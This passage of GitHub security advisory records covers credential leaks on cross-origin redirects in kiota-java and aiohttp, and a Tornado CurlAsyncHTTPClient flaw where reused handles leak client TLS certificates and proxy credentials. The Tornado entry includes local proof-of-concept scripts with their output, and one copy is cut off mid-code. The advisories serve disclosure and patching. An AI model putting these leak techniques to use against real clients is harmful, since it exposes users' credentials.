it leaks ALL sensitive headers simultaneously (Cookie + Proxy-Authorization + custom auth headers), not just one type.\n\nAttack scenario: An attacker who can trigger a cross-origin redirect from a trusted API (via open redirect, MITM, or DNS rebinding) captures the victim\u0027s session cookies, proxy credentials, and API keys from the redirected request.\n\nImpact:\n- Session hijacking via leaked Cookie headers\n- Corporate proxy credential theft via leaked Proxy-Authorization\n- API key theft via leaked custom auth headers (X-API-Key, etc.)\n\nAll consumers of kiota-java are affected, including Microsoft Graph SDK for Java.",
"id": "GHSA-7j59-v9qr-6fq9",
"modified": "2026-07-21T13:52:32Z",
"published": "2026-05-07T01:49:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/microsoft/kiota-java/security/advisories/GHSA-7j59-v9qr-6fq9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44503"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-7j59-v9qr-6fq9"
},
{
"type": "PACKAGE",
"url": "https://github.com/microsoft/kiota-java"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/microsoft-kiota-http/PYSEC-2026-2647.yaml"
},
{
"type": "WEB",
"url": "https://pypi.org/project/microsoft-kiota-http"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Kiota abstractions RedirectHandler leaks Cookie/Proxy-Authorization headers on cross-host redirect"
}
GHSA-HPJ7-WQ8M-9HGP
Vulnerability from github – Published: 2026-06-15 20:09 – Updated: 2026-06-15 20:09Summary
DigestAuthMiddleware can send an authentication response after following a cross-origin redirect.
Impact
If the client follows a redirect (the default option) to an attacker controlled domain, the attacker may be able to extract the auth digest.
This likely requires an open redirect vulnerability or similar on the target domain for an attacker to be able to execute. Further, the attacker is only receiving the digest, so should only be able to extract the user's credentials if the cryptography is weak or there is some kind of password reuse.
Workaround
Disable follow_redirects if this is a concern.
Patch: https://github.com/aio-libs/aiohttp/commit/38d16060037e1bfcd6d677abababa3c2a4bb58fa
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.14.0"
},
"package": {
"ecosystem": "PyPI",
"name": "aiohttp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.14.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54276"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-522"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:09:06Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n``DigestAuthMiddleware`` can send an authentication response after following a cross-origin redirect.\n\n### Impact\n\nIf the client follows a redirect (the default option) to an attacker controlled domain, the attacker may be able to extract the auth digest.\n\nThis likely requires an open redirect vulnerability or similar on the target domain for an attacker to be able to execute. Further, the attacker is only receiving the digest, so should only be able to extract the user\u0027s credentials if the cryptography is weak or there is some kind of password reuse.\n\n### Workaround\n\nDisable ``follow_redirects`` if this is a concern.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/38d16060037e1bfcd6d677abababa3c2a4bb58fa",
"id": "GHSA-hpj7-wq8m-9hgp",
"modified": "2026-06-15T20:09:06Z",
"published": "2026-06-15T20:09:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hpj7-wq8m-9hgp"
},
{
"type": "WEB",
"url": "https://github.com/aio-libs/aiohttp/commit/38d16060037e1bfcd6d677abababa3c2a4bb58fa"
},
{
"type": "PACKAGE",
"url": "https://github.com/aio-libs/aiohttp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "aiohttp: DigestAuthMiddleware Applies Credentials to Cross-Origin Redirect Challenges"
}
GHSA-PW6J-QG29-8W7F
Vulnerability from github – Published: 2026-06-15 20:37 – Updated: 2026-06-15 20:37CurlAsyncHTTPClient leaks per-request credentials on handle reuse
Summary
CurlAsyncHTTPClient pools and reuses pycurl handles across requests but does
not reset them between requests, and several per-request options are applied with
no clearing branch. As a result, sensitive state set by one request persists onto
a later request on the same client that does not set it. Two credential vectors
are demonstrated below — a client TLS certificate (SSLCERT/SSLKEY) and proxy
basic-auth credentials (PROXYUSERPWD) — both leaking to a different,
unintended host. This affects all released versions through 6.5.6.
Details
In tornado/curl_httpclient.py, handles are created once and returned to a free
list for reuse (_process_queue pops the handle at line 200, _finish
re-appends it at line 245), and _curl_setup_request is never preceded by
curl.reset(). The function clears some carried-over state on the reused handle
— unsetopt(PROXYUSERPWD) in the no-proxy branch (line 394), unsetopt(USERPWD)
when no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) —
but other options have no equivalent clearing path and persist until a later
request sets them again.
Vector A — client TLS certificate (SSLCERT/SSLKEY). Set-only, no clearing
branch:
# tornado/curl_httpclient.py (v6.5.6), lines 498-502
if request.client_cert is not None:
curl.setopt(pycurl.SSLCERT, request.client_cert)
if request.client_key is not None:
curl.setopt(pycurl.SSLKEY, request.client_key)
A request that sets client_cert leaves the certificate on the handle; a later
request without client_cert presents it during its TLS handshake.
Vector B — proxy credentials (PROXYUSERPWD). PROXYUSERPWD is set only
inside the credentials branch and unset only in the no-proxy else branch:
# tornado/curl_httpclient.py (v6.5.6), lines 371-394
if request.proxy_host and request.proxy_port:
curl.setopt(pycurl.PROXY, request.proxy_host)
curl.setopt(pycurl.PROXYPORT, request.proxy_port)
if request.proxy_username: # only place PROXYUSERPWD is set
...
curl.setopt(pycurl.PROXYUSERPWD, credentials)
...
else:
try:
curl.unsetopt(pycurl.PROXY)
except TypeError:
curl.setopt(pycurl.PROXY, "")
curl.unsetopt(pycurl.PROXYUSERPWD) # only place it is unset
A request that sets a new proxy_host without proxy_username updates
PROXY/PROXYPORT but never reaches the else, so the previous request's
credentials persist and are sent to the new proxy.
The same class also affects INTERFACE (lines 365-366: set only when
request.network_interface is truthy, with no clearing branch), which is a
lower-severity instance — a later request can be bound to a network interface it
did not request. A single fix addresses all three (see Mitigation).
PoC
Both reproduce against the pinned release using public API only
(CurlAsyncHTTPClient, HTTPRequest, and the documented per-request arguments).
Vector A — client TLS certificate
The two servers listen on different ports, so request B opens a fresh TCP+TLS connection; the certificate can only reach server 2 via the persisted handle option, not connection or session reuse.
python3 -m venv venv
./venv/bin/pip install "tornado==6.5.6" pycurl cryptography
./venv/bin/python poc_client_cert.py
import asyncio
import datetime
import ipaddress
import os
import socket
import ssl
import sys
import tempfile
import threading
from cryptography import x509
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient
def _key():
return rsa.generate_private_key(public_exponent=65537, key_size=2048)
def _ca():
key = _key()
name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "PoC-CA")])
now = datetime.datetime.now(datetime.timezone.utc)
cert = (
x509.CertificateBuilder()
.subject_name(name).issuer_name(name)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(now - datetime.timedelta(minutes=1))
.not_valid_after(now + datetime.timedelta(days=1))
.add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
.sign(key, hashes.SHA256())
)
return cert, key
def _leaf(cn, ca_cert, ca_key, ips=None, client=False):
key = _key()
name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])
now = datetime.datetime.now(datetime.timezone.utc)
b = (
x509.CertificateBuilder()
.subject_name(name).issuer_name(ca_cert.subject)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(now - datetime.timedelta(minutes=1))
.not_valid_after(now + datetime.timedelta(days=1))
.add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
)
if ips:
b = b.add_extension(
x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),
critical=False,
)
if client:
b = b.add_extension(
x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False
)
return b.sign(ca_key, hashes.SHA256()), key
def _pem(path, cert, key=None):
with open(path, "wb") as fh:
fh.write(cert.public_bytes(serialization.Encoding.PEM))
if key is not None:
fh.write(key.private_bytes(
serialization.Encoding.PEM,
serialization.PrivateFormat.TraditionalOpenSSL,
serialization.NoEncryption(),
))
class TLSServer:
def __init__(self, srv_pem, ca_pem, require):
self.captures = []
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind(("127.0.0.1", 0))
self.sock.listen(4)
self.port = self.sock.getsockname()[1]
self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
self.ctx.load_cert_chain(srv_pem)
self.ctx.load_verify_locations(ca_pem)
self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL
threading.Thread(target=self._serve, daemon=True).start()
def _serve(self):
while True:
try:
conn, _ = self.sock.accept()
except OSError:
return
try:
s = self.ctx.wrap_socket(conn, server_side=True)
self.captures.append(s.getpeercert() or None)
try:
s.recv(4096)
s.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok")
except Exception:
pass
s.close()
except Exception:
self.captures.append("handshake-failed")
conn.close()
def stop(self):
try:
self.sock.close()
except Exception:
pass
def _cn(peer):
if not peer or not isinstance(peer, dict):
return None
for rdn in peer.get("subject", ()):
for k, v in rdn:
if k == "commonName":
return v
return None
async def main():
with tempfile.TemporaryDirectory() as tmp:
ca_cert, ca_key = _ca()
s1_cert, s1_key = _leaf("server1.local", ca_cert, ca_key, ips=["127.0.0.1"])
s2_cert, s2_key = _leaf("server2.local", ca_cert, ca_key, ips=["127.0.0.1"])
cli_cert, cli_key = _leaf("trusted-client", ca_cert, ca_key, client=True)
ca_pem = os.path.join(tmp, "ca.pem")
s1_pem = os.path.join(tmp, "s1.pem")
s2_pem = os.path.join(tmp, "s2.pem")
cert_pem = os.path.join(tmp, "client.crt")
key_pem = os.path.join(tmp, "client.key")
_pem(ca_pem, ca_cert)
_pem(s1_pem, s1_cert, s1_key)
_pem(s2_pem, s2_cert, s2_key)
_pem(cert_pem, cli_cert)
with open(key_pem, "wb") as fh:
fh.write(cli_key.private_bytes(
serialization.Encoding.PEM,
serialization.PrivateFormat.TraditionalOpenSSL,
serialization.NoEncryption(),
))
s1 = TLSServer(s1_pem, ca_pem, require=True)
s2 = TLSServer(s2_pem, ca_pem, require=False)
try:
clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
await clean.fetch(HTTPRequest(
f"https://127.0.0.1:{s2.port}/baseline",
ca_certs=ca_pem, request_timeout=5), raise_error=False)
clean.close()
client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
await client.fetch(HTTPRequest(
f"https://127.0.0.1:{s1.port}/internal-mtls",
client_cert=cert_pem, client_key=key_pem,
ca_certs=ca_pem, request_timeout=5), raise_error=False)
await client.fetch(HTTPRequest(
f"https://127.0.0.1:{s2.port}/other-host",
ca_certs=ca_pem, request_timeout=5), raise_error=False)
await asyncio.sleep(0.2)
client.close()
finally:
s1.stop()
s2.stop()
baseline = _cn(s2.captures[0]) if s2.captures else None
leaked = _cn(s2.captures[1]) if len(s2.captures) > 1 else None
print(f"{'scenario':<48}{'cert presented to server 2'}")
print(f"{'-' * 48}{'-' * 28}")
print(f"{'baseline: clean client, no client_cert':<48}{baseline!r}")
print(f"{'exploit: reused handle (A had client_cert)':<48}{leaked!r}")
print()
print(f"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}")
print()
if baseline is None and leaked == "trusted-client":
print("VERDICT: VULNERABLE — the client certificate from request A was "
"presented to server 2 on request B, which specified none.")
return 0
print(f"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})")
return 2
if __name__ == "__main__":
sys.exit(asyncio.run(main()))
Output (pip show tornado → 6.5.6, installed in the venv):
scenario cert presented to server 2
----------------------------------------------------------------------------
baseline: clean client, no client_cert None
exploit: reused handle (A had client_cert) 'trusted-client'
(sanity) server 1 (mTLS required) saw: 'trusted-client'
VERDICT: VULNERABLE — the client certificate from request A was presented to
server 2 on request B, which specified none.
Vector B — proxy credentials
Each proxy is a separate listener capturing the raw request bytes.
./venv/bin/python poc_proxy_creds.py
import asyncio
import base64
import socket
import sys
import threading
from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient
class CapturingProxy:
def __init__(self):
self.captures = []
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind(("127.0.0.1", 0))
self.sock.listen(4)
self.port = self.sock.getsockname()[1]
threading.Thread(target=self._serve, daemon=True).start()
def _serve(self):
while True:
try:
conn, _ = self.sock.accept()
except OSError:
return
try:
data = b""
while b"\r\n\r\n" not in data and len(data) < 8192:
chunk = conn.recv(2048)
if not chunk:
break
data += chunk
self.captures.append(data)
conn.sendall(b"HTTP/1.1 502 Bad Gateway\r\nContent-Length: 0\r\n"
b"Connection: close\r\n\r\n")
except Exception:
pass
finally:
conn.close()
def stop(self):
try:
self.sock.close()
except Exception:
pass
def proxy_authz(raw):
head = raw.split(b"\r\n\r\n", 1)[0].decode("latin1", "replace")
for line in head.split("\r\n"):
if line.lower().startswith("proxy-authorization:"):
return line
return None
async def main():
proxy_a = CapturingProxy()
proxy_b = CapturingProxy()
try:
client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
await client.fetch(HTTPRequest(
"http://target.example/a",
proxy_host="127.0.0.1", proxy_port=proxy_a.port,
proxy_username="alice", proxy_password="secretA",
request_timeout=5, connect_timeout=5), raise_error=False)
await client.fetch(HTTPRequest(
"http://target.example/b",
proxy_host="127.0.0.1", proxy_port=proxy_b.port,
request_timeout=5, connect_timeout=5), raise_error=False)
await asyncio.sleep(0.2)
client.close()
finally:
proxy_a.stop()
proxy_b.stop()
a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None
b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None
expected = "Basic " + base64.b64encode(b"alice:secretA").decode()
print(f"{'request':<42}{'Proxy-Authorization seen by that proxy'}")
print(f"{'-' * 42}{'-' * 40}")
print(f"{'A -> proxy A (alice:secretA specified)':<42}{a or '(none)'}")
print(f"{'B -> proxy B (NO credentials specified)':<42}{b or '(none)'}")
print()
if b and expected in b:
print(f"VERDICT: VULNERABLE — proxy B received alice's credentials "
f"({expected}) although request B specified no proxy_username.")
return 0
print(f"VERDICT: not reproduced (proxy B saw: {b!r})")
return 2
if __name__ == "__main__":
sys.exit(asyncio.run(main()))
Output (YWxpY2U6c2VjcmV0QQ== decodes to alice:secretA):
request Proxy-Authorization seen by that proxy
----------------------------------------------------------------------------------
A -> proxy A (alice:secretA specified) Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==
B -> proxy B (NO credentials specified) Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==
VERDICT: VULNERABLE — proxy B received alice's credentials (Basic
YWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.
Impact
- Type: Exposure of credentials to an unintended party (CWE-200), via reuse of a resource whose sensitive state was not cleared (CWE-672).
- Actors: An application that issues requests with differing per-request
options on a shared
CurlAsyncHTTPClient— for Vector A, mixing per-requestclient_certrequests with non-certificate requests; for Vector B, multiplexing requests across more than one proxy with per-proxy credentials. - Effect: For Vector A, the client completes the TLS client-authentication handshake — proving possession of the private key and disclosing the certificate subject and chain — to a host that was never meant to receive it. For Vector B, proxy basic-auth credentials are transmitted (base64) to a different proxy. If the unintended host/proxy is attacker-controlled or attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable endpoint, or a proxy chosen from user-controlled configuration), the credential is disclosed to the attacker.
- Scope: Only applications using the optional
CurlAsyncHTTPClientbackend with the patterns above are affected. The defaultSimpleAsyncHTTPClientis not affected (and does not support proxies).
Proposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1:
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N (5.9, medium); attack complexity is
High because exploitation depends on the application using differing per-request
options on a shared client and on handle scheduling.
Mitigation
A single fix closes all instances of this class: call curl.reset() at the start
of _curl_setup_request and then re-apply the per-request options, so no state
from a prior request can persist on the reused handle. (Note curl.reset() also
clears CAINFO, which the current code intentionally leaves untouched — see the
comment at lines 401-409 — so that default would need to be re-established after
the reset.)
Alternatively, add explicit clearing branches mirroring the existing
PROXYUSERPWD/USERPWD handling:
# client certificate
if request.client_cert is not None:
curl.setopt(pycurl.SSLCERT, request.client_cert)
else:
curl.unsetopt(pycurl.SSLCERT)
if request.client_key is not None:
curl.setopt(pycurl.SSLKEY, request.client_key)
else:
curl.unsetopt(pycurl.SSLKEY)
# proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)
if request.proxy_username:
...
curl.setopt(pycurl.PROXYUSERPWD, credentials)
else:
curl.unsetopt(pycurl.PROXYUSERPWD)
# network interface
if request.network_interface:
curl.setopt(pycurl.INTERFACE, request.network_interface)
else:
curl.unsetopt(pycurl.INTERFACE)
Until a fix is available, use a separate CurlAsyncHTTPClient instance per
distinct credential set (per client certificate / per proxy credential), or use
SimpleAsyncHTTPClient where applicable.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.5.6"
},
"package": {
"ecosystem": "PyPI",
"name": "tornado"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.5.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-672"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:37:24Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "# CurlAsyncHTTPClient leaks per-request credentials on handle reuse\n\n## Summary\n\n`CurlAsyncHTTPClient` pools and reuses `pycurl` handles across requests but does\nnot reset them between requests, and several per-request options are applied with\nno clearing branch. As a result, sensitive state set by one request persists onto\na later request on the same client that does not set it. Two credential vectors\nare demonstrated below \u2014 a client TLS certificate (`SSLCERT`/`SSLKEY`) and proxy\nbasic-auth credentials (`PROXYUSERPWD`) \u2014 both leaking to a different,\nunintended host. This affects all released versions through 6.5.6.\n\n## Details\n\nIn `tornado/curl_httpclient.py`, handles are created once and returned to a free\nlist for reuse (`_process_queue` pops the handle at line 200, `_finish`\nre-appends it at line 245), and `_curl_setup_request` is never preceded by\n`curl.reset()`. The function clears *some* carried-over state on the reused handle\n\u2014 `unsetopt(PROXYUSERPWD)` in the no-proxy branch (line 394), `unsetopt(USERPWD)`\nwhen no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) \u2014\nbut other options have no equivalent clearing path and persist until a later\nrequest sets them again.\n\n**Vector A \u2014 client TLS certificate (`SSLCERT`/`SSLKEY`).** Set-only, no clearing\nbranch:\n\n```python\n# tornado/curl_httpclient.py (v6.5.6), lines 498-502\nif request.client_cert is not None:\n curl.setopt(pycurl.SSLCERT, request.client_cert)\n\nif request.client_key is not None:\n curl.setopt(pycurl.SSLKEY, request.client_key)\n```\n\nA request that sets `client_cert` leaves the certificate on the handle; a later\nrequest without `client_cert` presents it during its TLS handshake.\n\n**Vector B \u2014 proxy credentials (`PROXYUSERPWD`).** `PROXYUSERPWD` is set only\ninside the credentials branch and unset only in the no-proxy `else` branch:\n\n```python\n# tornado/curl_httpclient.py (v6.5.6), lines 371-394\nif request.proxy_host and request.proxy_port:\n curl.setopt(pycurl.PROXY, request.proxy_host)\n curl.setopt(pycurl.PROXYPORT, request.proxy_port)\n if request.proxy_username: # only place PROXYUSERPWD is set\n ...\n curl.setopt(pycurl.PROXYUSERPWD, credentials)\n ...\nelse:\n try:\n curl.unsetopt(pycurl.PROXY)\n except TypeError:\n curl.setopt(pycurl.PROXY, \"\")\n curl.unsetopt(pycurl.PROXYUSERPWD) # only place it is unset\n```\n\nA request that sets a *new* `proxy_host` without `proxy_username` updates\n`PROXY`/`PROXYPORT` but never reaches the `else`, so the previous request\u0027s\ncredentials persist and are sent to the new proxy.\n\nThe same class also affects `INTERFACE` (lines 365-366: set only when\n`request.network_interface` is truthy, with no clearing branch), which is a\nlower-severity instance \u2014 a later request can be bound to a network interface it\ndid not request. A single fix addresses all three (see Mitigation).\n\n## PoC\n\nBoth reproduce against the pinned release using public API only\n(`CurlAsyncHTTPClient`, `HTTPRequest`, and the documented per-request arguments).\n\n### Vector A \u2014 client TLS certificate\n\nThe two servers listen on different ports, so request B opens a fresh TCP+TLS\nconnection; the certificate can only reach server 2 via the persisted handle\noption, not connection or session reuse.\n\n```\npython3 -m venv venv\n./venv/bin/pip install \"tornado==6.5.6\" pycurl cryptography\n./venv/bin/python poc_client_cert.py\n```\n\n```python\nimport asyncio\nimport datetime\nimport ipaddress\nimport os\nimport socket\nimport ssl\nimport sys\nimport tempfile\nimport threading\n\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID, ExtendedKeyUsageOID\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\n\nfrom tornado.httpclient import HTTPRequest\nfrom tornado.curl_httpclient import CurlAsyncHTTPClient\n\n\ndef _key():\n return rsa.generate_private_key(public_exponent=65537, key_size=2048)\n\n\ndef _ca():\n key = _key()\n name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"PoC-CA\")])\n now = datetime.datetime.now(datetime.timezone.utc)\n cert = (\n x509.CertificateBuilder()\n .subject_name(name).issuer_name(name)\n .public_key(key.public_key())\n .serial_number(x509.random_serial_number())\n .not_valid_before(now - datetime.timedelta(minutes=1))\n .not_valid_after(now + datetime.timedelta(days=1))\n .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)\n .sign(key, hashes.SHA256())\n )\n return cert, key\n\n\ndef _leaf(cn, ca_cert, ca_key, ips=None, client=False):\n key = _key()\n name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])\n now = datetime.datetime.now(datetime.timezone.utc)\n b = (\n x509.CertificateBuilder()\n .subject_name(name).issuer_name(ca_cert.subject)\n .public_key(key.public_key())\n .serial_number(x509.random_serial_number())\n .not_valid_before(now - datetime.timedelta(minutes=1))\n .not_valid_after(now + datetime.timedelta(days=1))\n .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)\n )\n if ips:\n b = b.add_extension(\n x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),\n critical=False,\n )\n if client:\n b = b.add_extension(\n x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False\n )\n return b.sign(ca_key, hashes.SHA256()), key\n\n\ndef _pem(path, cert, key=None):\n with open(path, \"wb\") as fh:\n fh.write(cert.public_bytes(serialization.Encoding.PEM))\n if key is not None:\n fh.write(key.private_bytes(\n serialization.Encoding.PEM,\n serialization.PrivateFormat.TraditionalOpenSSL,\n serialization.NoEncryption(),\n ))\n\n\nclass TLSServer:\n def __init__(self, srv_pem, ca_pem, require):\n self.captures = []\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.sock.bind((\"127.0.0.1\", 0))\n self.sock.listen(4)\n self.port = self.sock.getsockname()[1]\n self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n self.ctx.load_cert_chain(srv_pem)\n self.ctx.load_verify_locations(ca_pem)\n self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL\n threading.Thread(target=self._serve, daemon=True).start()\n\n def _serve(self):\n while True:\n try:\n conn, _ = self.sock.accept()\n except OSError:\n return\n try:\n s = self.ctx.wrap_socket(conn, server_side=True)\n self.captures.append(s.getpeercert() or None)\n try:\n s.recv(4096)\n s.sendall(b\"HTTP/1.1 200 OK\\r\\nContent-Length: 2\\r\\nConnection: close\\r\\n\\r\\nok\")\n except Exception:\n pass\n s.close()\n except Exception:\n self.captures.append(\"handshake-failed\")\n conn.close()\n\n def stop(self):\n try:\n self.sock.close()\n except Exception:\n pass\n\n\ndef _cn(peer):\n if not peer or not isinstance(peer, dict):\n return None\n for rdn in peer.get(\"subject\", ()):\n for k, v in rdn:\n if k == \"commonName\":\n return v\n return None\n\n\nasync def main():\n with tempfile.TemporaryDirectory() as tmp:\n ca_cert, ca_key = _ca()\n s1_cert, s1_key = _leaf(\"server1.local\", ca_cert, ca_key, ips=[\"127.0.0.1\"])\n s2_cert, s2_key = _leaf(\"server2.local\", ca_cert, ca_key, ips=[\"127.0.0.1\"])\n cli_cert, cli_key = _leaf(\"trusted-client\", ca_cert, ca_key, client=True)\n\n ca_pem = os.path.join(tmp, \"ca.pem\")\n s1_pem = os.path.join(tmp, \"s1.pem\")\n s2_pem = os.path.join(tmp, \"s2.pem\")\n cert_pem = os.path.join(tmp, \"client.crt\")\n key_pem = os.path.join(tmp, \"client.key\")\n _pem(ca_pem, ca_cert)\n _pem(s1_pem, s1_cert, s1_key)\n _pem(s2_pem, s2_cert, s2_key)\n _pem(cert_pem, cli_cert)\n with open(key_pem, \"wb\") as fh:\n fh.write(cli_key.private_bytes(\n serialization.Encoding.PEM,\n serialization.PrivateFormat.TraditionalOpenSSL,\n serialization.NoEncryption(),\n ))\n\n s1 = TLSServer(s1_pem, ca_pem, require=True)\n s2 = TLSServer(s2_pem, ca_pem, require=False)\n try:\n clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n await clean.fetch(HTTPRequest(\n f\"https://127.0.0.1:{s2.port}/baseline\",\n ca_certs=ca_pem, request_timeout=5), raise_error=False)\n clean.close()\n\n client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n await client.fetch(HTTPRequest(\n f\"https://127.0.0.1:{s1.port}/internal-mtls\",\n client_cert=cert_pem, client_key=key_pem,\n ca_certs=ca_pem, request_timeout=5), raise_error=False)\n await client.fetch(HTTPRequest(\n f\"https://127.0.0.1:{s2.port}/other-host\",\n ca_certs=ca_pem, request_timeout=5), raise_error=False)\n await asyncio.sleep(0.2)\n client.close()\n finally:\n s1.stop()\n s2.stop()\n\n baseline = _cn(s2.captures[0]) if s2.captures else None\n leaked = _cn(s2.captures[1]) if len(s2.captures) \u003e 1 else None\n\n print(f\"{\u0027scenario\u0027:\u003c48}{\u0027cert presented to server 2\u0027}\")\n print(f\"{\u0027-\u0027 * 48}{\u0027-\u0027 * 28}\")\n print(f\"{\u0027baseline: clean client, no client_cert\u0027:\u003c48}{baseline!r}\")\n print(f\"{\u0027exploit: reused handle (A had client_cert)\u0027:\u003c48}{leaked!r}\")\n print()\n print(f\"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}\")\n print()\n if baseline is None and leaked == \"trusted-client\":\n print(\"VERDICT: VULNERABLE \u2014 the client certificate from request A was \"\n \"presented to server 2 on request B, which specified none.\")\n return 0\n print(f\"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})\")\n return 2\n\n\nif __name__ == \"__main__\":\n sys.exit(asyncio.run(main()))\n```\n\nOutput (`pip show tornado` \u2192 6.5.6, installed in the venv):\n\n```\nscenario cert presented to server 2\n----------------------------------------------------------------------------\nbaseline: clean client, no client_cert None\nexploit: reused handle (A had client_cert) \u0027trusted-client\u0027\n\n(sanity) server 1 (mTLS required) saw: \u0027trusted-client\u0027\n\nVERDICT: VULNERABLE \u2014 the client certificate from request A was presented to\nserver 2 on request B, which specified none.\n```\n\n### Vector B \u2014 proxy credentials\n\nEach proxy is a separate listener capturing the raw request bytes.\n\n```\n./venv/bin/python poc_proxy_creds.py\n```\n\n```python\nimport asyncio\nimport base64\nimport socket\nimport sys\nimport threading\n\nfrom tornado.httpclient import HTTPRequest\nfrom tornado.curl_httpclient import CurlAsyncHTTPClient\n\n\nclass CapturingProxy:\n def __init__(self):\n self.captures = []\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n self.sock.bind((\"127.0.0.1\", 0))\n self.sock.listen(4)\n self.port = self.sock.getsockname()[1]\n threading.Thread(target=self._serve, daemon=True).start()\n\n def _serve(self):\n while True:\n try:\n conn, _ = self.sock.accept()\n except OSError:\n return\n try:\n data = b\"\"\n while b\"\\r\\n\\r\\n\" not in data and len(data) \u003c 8192:\n chunk = conn.recv(2048)\n if not chunk:\n break\n data += chunk\n self.captures.append(data)\n conn.sendall(b\"HTTP/1.1 502 Bad Gateway\\r\\nContent-Length: 0\\r\\n\"\n b\"Connection: close\\r\\n\\r\\n\")\n except Exception:\n pass\n finally:\n conn.close()\n\n def stop(self):\n try:\n self.sock.close()\n except Exception:\n pass\n\n\ndef proxy_authz(raw):\n head = raw.split(b\"\\r\\n\\r\\n\", 1)[0].decode(\"latin1\", \"replace\")\n for line in head.split(\"\\r\\n\"):\n if line.lower().startswith(\"proxy-authorization:\"):\n return line\n return None\n\n\nasync def main():\n proxy_a = CapturingProxy()\n proxy_b = CapturingProxy()\n try:\n client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n await client.fetch(HTTPRequest(\n \"http://target.example/a\",\n proxy_host=\"127.0.0.1\", 